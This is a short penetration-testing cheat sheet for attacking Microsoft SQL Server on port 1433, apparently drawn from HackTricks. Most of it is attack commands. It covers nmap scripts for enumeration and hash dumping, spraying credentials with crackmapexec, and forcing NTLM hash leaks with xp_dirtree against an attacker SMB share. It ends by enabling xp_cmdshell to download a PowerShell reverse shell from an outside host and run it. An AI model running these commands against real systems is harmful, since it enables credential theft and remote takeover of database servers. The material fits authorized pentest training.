Pentest - MSSQL - Microsoft SQL Server p 1433
Pentest Microsoft SQL Server
Enumeration
1
|
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
|
Test credentials
1
|
crackmapexec mssql <host> -u users.txt -p passwords.txt
|
Establish connection
impacket-mssqlclient -dc-ip <ip> -windows-auth domain/username:password@host
List DBs
1
|
SELECT name FROM master..sysdatabases;
|
Check permissions
1
2
3
4
|
Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
|
xp_dirtree
1
|
EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;
|
Use xp_dirtree
to obtain NTLM hashes
1
2
3
4
|
#victim
xp_dirtree \\<attacker_ip>\file.txt
#attacker
sudo impacket-smbserver -smb2support share $(pwd)
|
xp_cmdshell
Enable - run command - rev shell
1
2
3
4
|
enable_xp_cmdshell
xp_cmdshell whoami
xp_cmdshell powershell -c iwr http://<ip>/shell.ps1 -o C:\programdata\rev.ps1
xp_cmdshell powershell -c C:\programdata\rev.ps1
|
hacktricks